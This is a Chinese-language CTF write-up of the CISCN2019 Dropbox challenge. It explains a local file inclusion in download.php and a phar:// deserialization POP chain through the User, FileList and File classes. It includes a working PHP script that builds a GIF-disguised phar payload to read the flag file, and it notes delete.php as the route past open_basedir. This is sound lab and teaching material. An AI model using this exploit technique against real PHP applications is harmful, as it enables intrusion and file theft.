CISCN2019 Dropbox Writeup
0x00关于本文
感谢@glzjn大佬提供的buuoj复现环境!
0x01漏洞突破口 LFI
在注册登陆简单测试之后可以轻易地发现download.php的LFI漏洞
后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计
0x01 反序列化漏洞发现
看到download.php代码中存在这一行
include "class.php";
一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化
哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面)
在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲)
$file = new File();
...
$filename = (string) $_POST['filename'];
...
$file->open($filename)
跟到File类里面的open函数中,这个$filename被直接带入
file_exists($filename)
这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!
0x02 POP Chain构造
我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。
首先看到FileList类的__destruct
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
好像啥都没有的样子。。。
那再看User类的
public function __destruct() {
$this->db->close();
}
这个$this->db我们是可以操纵的,那我们首先尝试找到一个close函数来继续这个链条
而File类里面恰巧有一个close函数,但是代码只有一句。
return file_get_contents($this->filename);
能读取是能读取,但是我又不能输出,这怎么可以呢?
这里$this->db->close()除了可以调用close函数之外,还可以在别的类不存在close的时候调用__call函数。
果不其然,在FileList类找到了
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部,接着遍历$files做了些蜜汁操作
$this->results[$file->name()][$func] = $file->$func();
看了下大概是给File类量身定做的,只有File类才同时有name和close,而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。
可是写进去了怎么读出来呢,那就要看到FileList类的__destruct函数了,仔细看下这个函数发现真的能把结果输出出来,那这样我们就形成了一条从User类到FileList类,再到File类的POP Chain。
0x03 EXP构造
(filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的
<?php
class File {
public $filename;
function __construct()
{
$this->filename="/flag.txt";
}
}
class FileList
{
private $files;
function __construct()
{
$this->files=[new File()];
}
}
class User {
public $db;
function __construct()
{
$this->db=new FileList();
}
}
$o = new User();
$filename = 'avatar.phar.gif';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
0x04 最后利用
本来以为直接download.php里面直接用phar就可以的,没想到这个文件始终读不出来
接着才发现了我刚刚忽略的一行
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
原来他这里搞了个open_basedir害得我读不出来,但是问题不大,因为delete.php也操作文件,甚至不需要换参数。
url一换,结果就出来了
评论
发表评论